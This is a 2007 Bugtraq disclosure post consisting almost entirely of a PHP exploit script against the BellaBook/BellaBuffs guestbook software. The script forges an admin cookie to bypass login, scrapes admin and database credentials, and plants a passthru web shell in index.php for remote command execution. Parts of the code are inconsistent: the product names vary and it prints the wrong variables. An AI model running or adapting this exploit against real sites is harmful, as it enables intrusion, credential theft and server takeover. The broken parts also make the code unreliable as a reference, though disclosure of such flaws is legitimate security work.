bugtraq - BellaBook Admin Bypass/Remote Code Execution

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Message-ID: <20070731104420.11660.qmail@securityfocus.com>
Date: 31 Jul 2007 10:44:20 -0000
From: ilkerkandemir@...et.com
To: bugtraq@...urityfocus.com
Subject: BellaBook Admin Bypass/Remote Code Execution

<?php

/*

#AUTHOR: ilker kandemir

#DOWNLOAD: http://www.jemjabella.co.uk/scripts/BellaBuffs.zip

Explanation:

The user verification routine used in most of the files is:

########################################################
#require_once('prefs.php');
#if (isset($_COOKIE['bellabuffs'])) {
#    if ($_COOKIE['bellabuffs'] == md5($admin_name.$admin_pass.$secret)) {
#        if (isset($_GET['ap'])) { $page = $_GET['ap']; } else { $page = ""; }
#        include('header.php');
#
########################################################

So basically it's saying "If the value within the cookie pheap_login is not the same value
that is assigned to the $admin_name variable withing prefs.php then you have to be redirected
to the login page".

So if we know the $admin_name we can access any page that uses this authentication method. Also,
we can retrieve all credentials in clear-text.

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<5) {
print "-------------------------------------------------------------------------\r\n";
print "              BellaBook Admin Bypass/Remote Code Execution\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: pheap.php [OPTION] [HOST] [PATH] [USER] ([COMMAND])\r\n\r\n";
print "[OPTION]  = 0 = Credentials Disclosures\r\n";
print "            1 = Remote Code Execution\r\n";
print "[HOST]       = Target server's hostname or ip address\r\n";
print "[PATH]       = Path where Pheap is located\r\n";
print "[USER]       = Admin's username\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g.             pheap.php 0 victim.com /pheap/ admin\r\n";
print "                  pheap.php 1 victim.com /pheap/ admin \"ls -lia\"\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}

// Props to [rgod] for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$user = $argv[4];
$cmd  = $argv[5];
$cmd  = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($exploit==0){

print "-------------------------------------------------------------------------\r\n";
print "              BellaBuffs Admin Bypass/Remote Code Execution      \r\n";
print "-------------------------------------------------------------------------\r\n";

    $packet ="GET " . $path . "captcha.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    if (strstr($html,"This is the settings panel")){}
    else{echo "...Failed!\r\n"; exit();}

    $temp=explode("name=\"user_name\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin User: " . $admin_name . "\r\n";

    $temp=explode("name=\"password\" class=\"ieleft\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Admin Pass: " . $admin_pass . "\r\n";

    $temp=explode("name=\"dbhost\" class=\"ieleft\" id=\"dbhost\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Host",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Host: " . $admin_name . "\r\n";

    $temp=explode("name=\"dbuser\" class=\"ieleft\" id=\"dbuser\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Username",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database User: " . $admin_pass . "\r\n";

    $temp=explode("name=\"dbpass\" class=\"ieleft\" id=\"dbpass\" value=\"",$html);
    $temp2=explode("\" /> <strong>:Database Password",$temp[1]);
    $ret_user=$temp2[0];

    echo "[+] Database Pass: " . $ret_user . "\r\n";

print "-------------------------------------------------------------------------\r\n";
print "                     MEFISTO BEGiNS                                 \r\n";
print "-------------------------------------------------------------------------\r\n";
}

if($exploit==1){

    $packet ="GET " . $path . "admin.php?ap=manage_members&amp=" . $path . "index.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Connection: Close\r\n\r\n";

    sendpacketii($packet);

    $temp=explode("name=\"filename\" value=\"",$html);
    $temp2=explode("\">",$temp[1]);
    $fullpath=$temp2[0];

    $shell = '<?php echo "<font color=#FFFFFF>For Turkey</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=#FFFFFF>Milw0rm.Com</font>";?>';
    $data = "mce_editor_0_styleSelect=";
    $data .= "&mce_editor_0_formatSelect=";
    $data .= "&mce_editor_0_fontNameSelect=";
    $data .= "&mce_editor_0_fontSizeSelect=0";
    $data .= "&mce_editor_0_zoomSelect=100%25";
    $data .= "&content=" . urlencode($shell);
    $data .= "&filename=" . urlencode($fullpath);
    $data .= "&update_text.x=57";
    $data .= "&update_text.y=15";

    $packet ="POST " . $path . "admin.php?ap=manage_members HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Accept: */*\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: pheap_login=" . $user . "\r\n";
    $packet.="Referer: http://" . $host.$path . "admin.php?ap=manage_members&amp=" . $path . "index.php\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);

    $packet ="GET " . $path . "index.php?cmd=" . $cmd . " HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);

    if (strstr($html,"...Silentz"))
     {
    print "-------------------------------------------------------------------------\r\n";
    print "              BellaBuffs Admin Bypass/Remote Code Execution     \r\n";
    print "-------------------------------------------------------------------------\r\n";

       $temp=explode("...Silentz</font>",$html);
       $temp2=explode("<font color=#FFFFFF>",$temp[1]);
       echo "===============================================================\r\n\r\n";
       echo $temp2[0];
       echo "\r\n===============================================================\r\n";
       echo "\r\n[+] Shell...http://" .$host.$path. "index.php?cmd=[COMMAND]\r\n"

     }
}
?>